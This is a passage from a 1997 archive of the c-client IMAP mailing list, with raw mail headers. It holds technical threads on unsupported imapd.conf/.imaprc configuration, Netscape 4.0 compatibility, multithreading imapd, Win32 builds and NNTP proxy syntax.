[140.142.32.1]) by mx4.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.04) with ESMTP id IAA25955 for ; Tue, 29 Jul 1997 08:22:13 -0700 Received: from mail12.digital.com (mail12.digital.com [192.208.46.20]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.04) with ESMTP id IAA10075; Tue, 29 Jul 1997 08:22:06 -0700 Received: from quarry.zk3.dec.com (quarry.zk3.dec.com [16.140.16.3]) by mail12.digital.com (8.7.5/UNX 1.5/1.0/WV) with SMTP id LAA01275; Tue, 29 Jul 1997 11:13:49 -0400 (EDT) Received: from islet.zk3.dec.com by quarry.zk3.dec.com; (5.65v3.2/1.1.8.2/16Jan95-0946AM) id AA20623; Tue, 29 Jul 1997 11:13:44 -0400 Message-Id: <9707291513.AA20623@quarry.zk3.dec.com> Date: Tue, 29 Jul 97 11:13:43 -0400 Reply-To: pderr@zk3.dec.com Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: "Peter Derr" To: Mark Crispin Cc: c-client@CAC.Washington.EDU, pderr@zk3.dec.com, ddhill@zk3.dec.com Subject: Re: New /etc/imapd.conf option? (Please support .imaprc) In-Reply-To: Your message of "Fri, 18 Jul 97 16:42:27 PDT." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: exmh version 1.6.7 5/3/96 X-Face: *Ck*L4Ya{,`?^Cd%O~.N}/[vGHKI"Qz8J`.5!t]3+*,5hqrn1b0IXJ&z<#vP{AR(TIR'|f^ d7\h0eVBzEfyt"Fk)j98n3}S\Pt:jD*sA)F`\nHrV^ClLov$;-GUFPP\uQS2L3|c+xn#h0k%^G1}N] [.L@TxmDVOHgj](mtS X-Mts: smtp X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN > Do NOT use /etc/imapd.conf. this file is for UW-internal use > only. Its semantics have changed in the past and will change > in the future. > > If you want to export something other than the default UNIX > filesystem view, the correct thing to do is to write your > own environment policy routines in file > .../src/osdep/unix/env_unix.c > which is specially designed to contain all the environment > routines which user sites are likely to want to modify. > > In particular, you should look at routines myhomedir() and > mailboxfile(). Really, the server ought to be customizable by means other than modifying the source code. It ought to be customizable system-wide by using a file like /etc/imapd.conf or on a per-user basis with the ~/.imaprc file. We have started using IMAP in our environment and have run into a number of problems that could be solved by use of the ~/.imaprc file. The per-user customization that the ~/.imaprc can offer would be extremely useful. Users that have been using various UNIX mail readers and mail delivery mechanisms have evolved many personal styles and configurations that many of the new IMAP clients aren't flexible enough to adapt to, especially the location of the mail folders and the inbox, and any prefix that might be required (like #mh/). When considering whether to use the .imaprc, I waded though the 'information' in the sample imaprc file which declared that there was no valid use for the imaprc file except for debugging purposes and its use was basically unsupported. I of course put in the mandatory "I accept the risk ..." I was able to specify an alternate inbox this way. I feel that there is a valid use for a ~/.imaprc file that should be supported. The variable system-inbox is a variable that I found a need for. For a wide variety of reasons, many users here use slocal to parse incomming mail and put the remainder into a different inbox. This obviously cannot be set on a system wide basis and if the mail client isn't flexible enough to configure this, no other way that I can see that it can be done. Another variable that I would like to see supported is the location of the mail folder hierachy. As it stands, I need to tell my client (at least the ones not too stupid to allow this) a subdirectory that contains my mail. Frankly, giving a mail client access to ALL of my files is rather scary. I can just see one of my users doing something stupid (like opening their .profile) and getting the FOLDER INTERNAL DATA message tacked onto the top. :-( This mail folder location could be specified relative to $HOME either on a per user or a per system basis. Then, the server would not make any other files visible to any client. May I suggest that the .imaprc file contents be split into two different files, one supported and limited to variables that users can reasonably tinker with, and another file for all of the other 'debugging' or UW-specific options Mark does not want us mortals tampering with. This customization capability would really make the UW IMAP server more useful. This type of flexibility is what makes UNIX successfull. Thanks, Peter From pinedev@shivax2.cac.washington.edu Tue Jul 29 08:59:27 1997 -0700 Return-Path: Received: via tmail-4.1(5) for mailarch+c-client; Tue, 29 Jul 1997 08:59:27 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.04) with ESMTP id IAA30824 for ; Tue, 29 Jul 1997 08:59:26 -0700 (PDT) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx2.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.04) with ESMTP id IAA07308; Tue, 29 Jul 1997 08:59:14 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with SMTP id IAA25358; Tue, 29 Jul 1997 08:57:45 -0700 Received: from mx5.u.washington.edu (mx5.u.washington.edu [140.142.32.6]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id IAA41994 for ; Tue, 29 Jul 1997 08:56:36 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mx5.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.04) with ESMTP id IAA22911 for ; Tue, 29 Jul 1997 08:56:34 -0700 Received: from jefferson.patriot.net (root@jefferson.patriot.net [206.151.9.249]) by mx2.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.04) with ESMTP id IAA07225; Tue, 29 Jul 1997 08:56:28 -0700 Received: from grizzly.patriotnet.com (grizzly.patriotnet.com [206.151.9.248]) by jefferson.patriot.net (8.8.5/8.8.5) with SMTP id LAA22851; Tue, 29 Jul 1997 11:51:58 -0400 Message-Id: Date: Tue, 29 Jul 1997 11:57:55 -0500 (EST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: "Steve \"Stevers!\" Coile" To: Peter Derr Cc: Mark Crispin , c-client@CAC.Washington.EDU, ddhill@zk3.dec.com Subject: Re: New /etc/imapd.conf option? (Please support .imaprc) In-Reply-To: <9707291513.AA20623@quarry.zk3.dec.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: scoile@grizzly.patriotnet.com X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN [...] >Really, the server ought to be customizable by means other than modifying >the source code. It ought to be customizable system-wide by using a >file like /etc/imapd.conf or on a per-user basis with the ~/.imaprc file. I concur. -- Steve Coile P a t r i o t N e t Systems Engineering scoile@patriot.net Patriot Computer Group (703) 277-7737 From pinedev@shivax2.cac.washington.edu Tue Jul 29 09:37:03 1997 -0700 Return-Path: Received: via tmail-4.1(5) for mailarch+c-client; Tue, 29 Jul 1997 09:37:02 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.04) with ESMTP id JAA31666 for ; Tue, 29 Jul 1997 09:37:02 -0700 (PDT) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.04) with ESMTP id JAA12104; Tue, 29 Jul 1997 09:36:57 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with SMTP id JAA28075; Tue, 29 Jul 1997 09:36:45 -0700 Received: from mx4.u.washington.edu (mx4.u.washington.edu [140.142.33.5]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id JAA16376 for ; Tue, 29 Jul 1997 09:36:27 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mx4.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.04) with ESMTP id JAA03056 for ; Tue, 29 Jul 1997 09:36:25 -0700 Received: from mailhost1.cac.washington.edu (mailhost1.cac.washington.edu [140.142.32.2]) by mx2.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.04) with ESMTP id JAA08385 for ; Tue, 29 Jul 1997 09:36:23 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tanner@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.07) with SMTP id JAA25030; Tue, 29 Jul 1997 09:36:20 -0700 Message-Id: Date: Tue, 29 Jul 1997 09:15:48 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Mark Crispin To: pderr@zk3.dec.com Cc: c-client@CAC.Washington.EDU, ddhill@zk3.dec.com Subject: Re: New /etc/imapd.conf option? (Please support .imaprc) In-Reply-To: <9707291513.AA20623@quarry.zk3.dec.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN These are my final words on the subject: 1) imapd.conf and ~/.imaprc are NOT supported for any use outside of very limited UW internal use. 2) There is not at the present time any field-settable IMAP configuration. There may be in the future, but it will NOT be the imapd.conf file. 3) There have been multiple incidents in which sites have disregarded the warnings about imapd.conf and have had problems. Nearly all of those incidents were completely unnecessary; the plug-and-play default was the correct configuration. 4) There are many other tasks which need to be done to c-client which are considerably more important that creating a field-settable IMAP configuration. It will not increase the priority of a field-settable IMAP configuration to flame me on the c-client or other mailing lists. 5) c-client is free software. It is worth at least as much as what you paid for it. There are other, commercial, vendors of IMAP software. 6) DEC has many similar internal mechanisms in its software and hardware which are for company-internal purposes and are not for field modification. DEC does this for good reasons. I would appreciate that you accept my judgement that there are good reasons for not supporting the imapd.conf functionality outside of UW. Once again; there may be a future, supported, configuration functionality. That functionality is not imapd.conf. imapd.conf is a temporary function which may be removed without replacement in future versions. It is not wise to depend upon it in any way. From pinedev@shivax2.cac.washington.edu Tue Jul 29 10:45:39 1997 -0700 Return-Path: Received: via tmail-4.1(5) for mailarch+c-client; Tue, 29 Jul 1997 10:45:39 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.04) with ESMTP id KAA31858 for ; Tue, 29 Jul 1997 10:45:38 -0700 (PDT) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.04) with ESMTP id KAA13809; Tue, 29 Jul 1997 10:45:32 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with SMTP id KAA02763; Tue, 29 Jul 1997 10:45:25 -0700 Received: from mx3.u.washington.edu (mx3.u.washington.edu [140.142.13.230]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id KAA50486 for ; Tue, 29 Jul 1997 10:44:54 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mx3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.04) with ESMTP id KAA04762 for ; Tue, 29 Jul 1997 10:44:51 -0700 Received: from sgi.sgi.com (SGI.COM [192.48.153.1]) by mx2.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.04) with SMTP id KAA10122 for ; Tue, 29 Jul 1997 10:44:47 -0700 Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id KAA02807 for <@sgi.engr.sgi.com:c-client@cac.washington.edu>; Tue, 29 Jul 1997 10:44:46 -0700 env-from (siri@cthulhu.engr.sgi.com) Received: from virtus.engr.sgi.com (virtus.engr.sgi.com [150.166.55.159]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id KAA07782 for <@cthulhu.engr.sgi.com:c-client@cac.washington.edu>; Tue, 29 Jul 1997 10:44:44 -0700 Received: from isdn-pc-virtus (isdn-pc-virtus.corp.sgi.com [199.74.51.133]) by virtus.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id KAA05473 for ; Tue, 29 Jul 1997 10:43:55 -0700 Message-Id: <33DE2B88.830C9605@engr.sgi.com> Date: Tue, 29 Jul 1997 10:42:32 -0700 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Aaron Siri To: c-client@CAC.Washington.EDU Subject: IMAP server and Netscape 4.0? MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Mailer: Mozilla 4.0 [en] (WinNT; I) X-Priority: 3 (Normal) X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN I was wondering if there were any known problems with accesing the UW IMAP server from the Netscape 4.0 client. I have the IMAP server (used only for personal mail) running on an SGI workstation. I access this server from a couple of PCs and from the same SGI workstation, all using Netscape 4.0. The mail readers on the PCs seem to be working fine, but the mail readers on the SGI has problems (saying that there aren't any knew messages when there really are, etc.). I was wondering if there could be problems with any of the following: * The fact that I'm trying to access the server from the same machine that the server is on. * Netscape Messenger 4.0 for UNIX doesn't work. * There are some known problems with the UW IMAP server. Any insight or experience would be greatly appreciated. Thanks, -Aaron -- Aaron Siri mailto:siri@sgi.com Cosmo Software phone: (415) 933-3967 A Silicon Graphics Company fax: (415) 932-3967 ******************* http://cosmo.sgi.com ******************* From pinedev@shivax2.cac.washington.edu Sun Aug 10 21:58:40 1997 -0700 Return-Path: Received: via tmail-4.1(5) for mailarch+c-client; Sun, 10 Aug 1997 21:58:40 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.04) with ESMTP id VAA29884 for ; Sun, 10 Aug 1997 21:58:39 -0700 (PDT) Received: from lists.u.washington.edu (root@lists.u.washington.edu [140.142.56.13]) by mx2.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.04) with ESMTP id VAA07144; Sun, 10 Aug 1997 21:58:35 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with SMTP id VAA22194; Sun, 10 Aug 1997 21:58:06 -0700 Received: from mx4.u.washington.edu (mx4.u.washington.edu [140.142.33.5]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id VAA21498 for ; Sun, 10 Aug 1997 21:56:08 -0700 Received: from hks.sproj.psi.net. (hks.sproj.psi.net [149.127.6.170]) by mx4.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.04) with SMTP id VAA20554 for ; Sun, 10 Aug 1997 21:56:07 -0700 Received: from hks.sproj.psi.net by hks.sproj.psi.net. (SMI-8.6/SMI-SVR4) id BAA13228; Mon, 11 Aug 1997 01:01:05 -0400 Message-Id: <199708110501.BAA13228@hks.sproj.psi.net.> Date: Mon, 11 Aug 1997 01:01:05 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: "Harmel K. Singh" To: c-client@u.washington.edu Subject: ==> multithreading imapd X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN assuming one has crafted a thread safe site specific driver & a optimized message store, what are the issues with multithreading imapd itself ( imapd.c, imap4r1.c, mail.c etc.) ? i would like to hear from anyone who has ventured into this or has any comments. hks. From pinedev@shivax2.cac.washington.edu Fri Aug 15 01:01:05 1997 -0700 Return-Path: Received: via tmail-4.1(5) for mailarch+c-client; Fri, 15 Aug 1997 01:01:04 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.04) with ESMTP id BAA10578 for ; Fri, 15 Aug 1997 01:01:04 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.04) with ESMTP id BAA15788; Fri, 15 Aug 1997 01:00:59 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with SMTP id BAA27887; Fri, 15 Aug 1997 01:00:38 -0700 Received: from mx5.u.washington.edu (mx5.u.washington.edu [140.142.32.6]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id AAA30870 for ; Fri, 15 Aug 1997 00:59:17 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mx5.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.04) with ESMTP id AAA22657 for ; Fri, 15 Aug 1997 00:59:16 -0700 Received: from busi1.business.auc.dk (busi1.business.auc.dk [130.225.62.2]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.04) with ESMTP id AAA24489 for ; Fri, 15 Aug 1997 00:59:13 -0700 Received: from ntnjb (ntnjb.business.auc.dk [130.225.62.62]) by busi1.business.auc.dk (8.8.6/8.8.2) with SMTP id JAA13954 for ; Fri, 15 Aug 1997 09:59:11 +0200 (MET DST) Message-Id: <199708150759.JAA13954@busi1.business.auc.dk> Date: Fri, 15 Aug 1997 09:58:37 +0100 Reply-To: njb@business.auc.dk Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: "Niels Jakob Buch" To: c-client@CAC.Washington.EDU Subject: Cygnus/GNU Win32 and c-client MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT X-mailer: Pegasus Mail for Win32 (v2.54) X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Hi! Have any of you guys got the c-client up and running using other than Visual C++ on Win32. I'm interested in both Borland and gnuwin32 implementation experiences! Thanks in advance. Best, Jake From pinedev@shivax2.cac.washington.edu Tue Aug 19 12:33:18 1997 -0700 Return-Path: Received: via tmail-4.1(5) for mailarch+c-client; Tue, 19 Aug 1997 12:33:18 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.04) with ESMTP id MAA13917 for ; Tue, 19 Aug 1997 12:33:17 -0700 (PDT) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.04) with ESMTP id MAA24411; Tue, 19 Aug 1997 12:33:12 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with SMTP id MAA28637; Tue, 19 Aug 1997 12:32:43 -0700 Received: from mx3.u.washington.edu (mx3.u.washington.edu [140.142.13.230]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id MAA16690 for ; Tue, 19 Aug 1997 12:31:49 -0700 Received: from THOR.INNOSOFT.COM (SYSTEM@THOR.INNOSOFT.COM [192.160.253.66]) by mx3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.04) with ESMTP id MAA25254 for ; Tue, 19 Aug 1997 12:31:47 -0700 Received: from eleanor.innosoft.com ("port 60202"@ELEANOR.INNOSOFT.COM) by INNOSOFT.COM (PMDF V5.1-10 #8694) with SMTP id <01IMMH1AE35K94EQ2D@INNOSOFT.COM> for c-client@u.washington.edu; Tue, 19 Aug 1997 12:30:54 PDT Message-Id: Date: Tue, 19 Aug 1997 12:32:45 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Chris Newman To: "Harmel K. Singh" Cc: c-client@u.washington.edu Subject: Re: ==> multithreading imapd In-Reply-To: <"199708110501.BAA13228"@hks.sproj.psi.net> MIME-version: 1.0 Content-type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Mon, 11 Aug 1997, Harmel K. Singh wrote: > assuming one has crafted a thread safe site specific driver & > a optimized message store, what are the issues with multithreading > imapd itself ( imapd.c, imap4r1.c, mail.c etc.) ? > > i would like to hear from anyone who has ventured into this or > has any comments. It's quite hard to make it multi-threaded. There are a number of global state variables. MAILSTREAM contexts passed to the driver are often NULL, leaving no context for a thread. And the way strtok() is used is very creative -- watch out for the state preservation across function calls. - Chris From pinedev@shivax2.cac.washington.edu Tue Aug 19 14:14:49 1997 -0700 Return-Path: Received: via tmail-4.1(5) for mailarch+c-client; Tue, 19 Aug 1997 14:14:49 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.04) with ESMTP id OAA15898 for ; Tue, 19 Aug 1997 14:14:48 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.04) with ESMTP id OAA16508; Tue, 19 Aug 1997 14:14:41 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with SMTP id OAA28803; Tue, 19 Aug 1997 14:14:13 -0700 Received: from mx2.u.washington.edu (mx2.u.washington.edu [140.142.32.7]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id OAA36858 for ; Tue, 19 Aug 1997 14:13:29 -0700 Received: from umailsrv2.umd.edu (umailsrv2.umd.edu [128.8.10.76]) by mx2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.04) with ESMTP id OAA10407 for ; Tue, 19 Aug 1997 14:13:27 -0700 Received: from ego.umd.edu (ego.umd.edu [129.2.9.247]) by umailsrv2.umd.edu (8.8.5/8.8.5) with SMTP id RAA06864 for ; Tue, 19 Aug 1997 17:11:34 -0400 Message-Id: Date: Tue, 19 Aug 1997 17:11:15 -0400 (EDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: David Henry To: c-client@u.washington.edu Subject: NNTP configuration MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: dh19@umail.umd.edu X-Mailer: Simeon for Digital Unix Motif Version 4.1.2 Build (32) X-Authentication: IMSP X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN I have looked throught the archives of this list to see if I could find an answer to my question, to no avail. I am trying to install the IMAP 4.1 BETA server, and I am having some trouble figuring out how to configure the server to use an NNTP server upon an attempt to select #news.foo.bar. My current server is IMAP2bis, which contains a mechanism for explicitly specifying the nntp proxy host. I can find nothing which will do this in the IMAP 4.1 server. So, what am I missing? Thanks in advance, David Henry Academic IT Services University of Maryland From pinedev@shivax2.cac.washington.edu Wed Aug 20 16:33:44 1997 -0700 Return-Path: Received: via tmail-4.1(5) for mailarch+c-client; Wed, 20 Aug 1997 16:33:43 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.04) with ESMTP id QAA06251 for ; Wed, 20 Aug 1997 16:33:42 -0700 (PDT) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.04) with ESMTP id QAA24442; Wed, 20 Aug 1997 16:33:37 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with SMTP id QAA12261; Wed, 20 Aug 1997 16:33:09 -0700 Received: from mx5.u.washington.edu (mx5.u.washington.edu [140.142.32.6]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id QAA36642 for ; Wed, 20 Aug 1997 16:32:19 -0700 Received: from mailhost2.cac.washington.edu (mailhost2.cac.washington.edu [140.142.33.2]) by mx5.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.04) with ESMTP id QAA07350 for ; Wed, 20 Aug 1997 16:32:18 -0700 Received: from muddog_cac.cac.washington.edu (D-140-142-110-31.dhcp.washington.edu [140.142.110.31]) by mailhost2.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.07) with SMTP id QAA27728; Wed, 20 Aug 1997 16:32:13 -0700 Message-Id: Date: Wed, 20 Aug 1997 16:32:52 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Terry Gray To: David Henry Cc: c-client@u.washington.edu Subject: Re: NNTP configuration In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-X-Sender: gray@shivams.cac.washington.edu X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN This is the syntax I use with Pine to have our imap server act as an NNTP proxy: {shivams.cac:145}{news.u.washington.edu/nntp}#news.comp.mail.imap where the imap server happens to be running on port 145 of a host called shivams... -teg On Tue, 19 Aug 1997, David Henry wrote: > I have looked throught the archives of this list to see if I could find > an answer to my question, to no avail. > > I am trying to install the IMAP 4.1 BETA server, and I am having some > trouble figuring out how to configure the server to use an NNTP server > upon an attempt to select #news.foo.bar. > > My current server is IMAP2bis, which contains a mechanism for > explicitly specifying the nntp proxy host. I can find nothing which > will do this in the IMAP 4.1 server. > > So, what am I missing? > > Thanks in advance, > > David Henry > Academic IT Services > University of Maryland > > From pinedev@shivax2.cac.washington.edu Thu Aug 21 08:26:56 1997 -0700 Return-Path: Received: via tmail-4.1(5) for mailarch+c-client; Thu, 21 Aug 1997 08:26:56 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.04) with ESMTP id IAA15785 for ; Thu, 21 Aug 1997 08:26:55 -0700 (PDT) Received: from lists.u.washington.edu (root@lists.u.washington.edu [140.142.56.13]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.04) with ESMTP id IAA06947; Thu, 21 Aug 1997 08:26:50 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with SMTP id IAA24548; Thu, 21 Aug 1997 08:26:34 -0700 Received: from mx3.u.washington.edu (mx3.u.washington.edu [140.142.13.230]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id IAA46650 for ; Thu, 21 Aug 1997 08:25:56 -0700 Received: from umailsrv2.umd.edu (umailsrv2.umd.edu [128.8.10.76]) by mx3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.04) with ESMTP id IAA15578 for ; Thu, 21 Aug 1997 08:25:54 -0700 Received: from ego.umd.edu (ego.umd.edu [129.2.9.247]) by umailsrv2.umd.edu (8.8.5/8.8.5) with SMTP id LAA09323; Thu, 21 Aug 1997 11:14:49 -0400 Message-Id: Date: Thu, 21 Aug 1997 11:14:30 -0400 (EDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: David Henry To: Terry Gray Cc: c-client@u.washington.edu Subject: Re: NNTP configuration In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: dh19@umail.umd.edu X-Mailer: Simeon for Digital Unix Motif Version 4.1.2 Build (32) X-Authentication: IMSP X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN It seems to me like the user needs to know a lot about their environment to access the news server. If I understand the source code correctly, news support in the c-client server would handle the case where the IMAP server has direct access to the news directories (e.g. IMAP server installed directly on the news server), in which case, the user would need not specify anything more than {news.u.washington.edu/nntp}#news.comp.mail.imap or maybe {news.u.washington.edu}#news.comp.mail.imap Correct? So, if the IMAP server can be configured to act as a proxy for NNTP should the user need to know what news server the imap server should proxy to? I don't think they should. So, as I see it, the imap server needs to be able to be configured to know to automatically proxy to the nntp server when a connection is made to {imap.server}#news.news.group As I mentioned in my previous inquiry, the imap2bis server I am running has this ability. (Granted, it is a fairly old imap2bis, and this feature uses an entry in the verbotten /etc/imapd.conf file to achieve its ends. There is an entry like "set nntp-proxy-host host.name" in it.) Now, I just want to figure out a way, without requiring local source code changes, if possible, to achieve the same functionality. Am I wasting my time? David Henry On Wed, 20 Aug 1997 16:32:52 -0700 (Pacific Daylight Time) Terry Gray wrote: > This is the syntax I use with Pine to have our imap server act as an NNTP > proxy: > > {shivams.cac:145}{news.u.washington.edu/nntp}#news.comp.mail.imap > > where the imap server happens to be running on port 145 of a host called > shivams... > > -teg > > On Tue, 19 Aug 1997, David Henry wrote: > > > I have looked throught the archives of this list to see if I could find > > an answer to my question, to no avail. > > > > I am trying to install the IMAP 4.1 BETA server, and I am having some > > trouble figuring out how to configure the server to use an NNTP server > > upon an attempt to select #news.foo.bar. > > > > My current server is IMAP2bis, which contains a mechanism for > > explicitly specifying the nntp proxy host. I can find nothing which > > will do this in the IMAP 4.1 server. > > > > So, what am I missing? > > > > Thanks in advance, > > > > David Henry > > Academic IT Services > > University of Maryland > > > > > From pinedev@shivax2.cac.washington.edu Thu Aug 21 09:16:54 1997 -0700 Return-Path: Received: via tmail-4.1(5) for mailarch+c-client; Thu, 21 Aug 1997 09:16:54 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.04) with ESMTP id JAA14953 for ; Thu, 21 Aug 1997 09:16:53 -0700 (PDT) Received: from lists.u.washington.edu (root@lists.u.washington.edu [140.142.56.13]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.04) with ESMTP id JAA08194; Thu, 21 Aug 1997 09:16:49 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with SMTP id JAA41414; Thu, 21 Aug 1997 09:16:34 -0700 Received: from mx3.u.washington.edu (mx3.u.washington.edu [140.142.13.230]) by lists.u.washington.edu 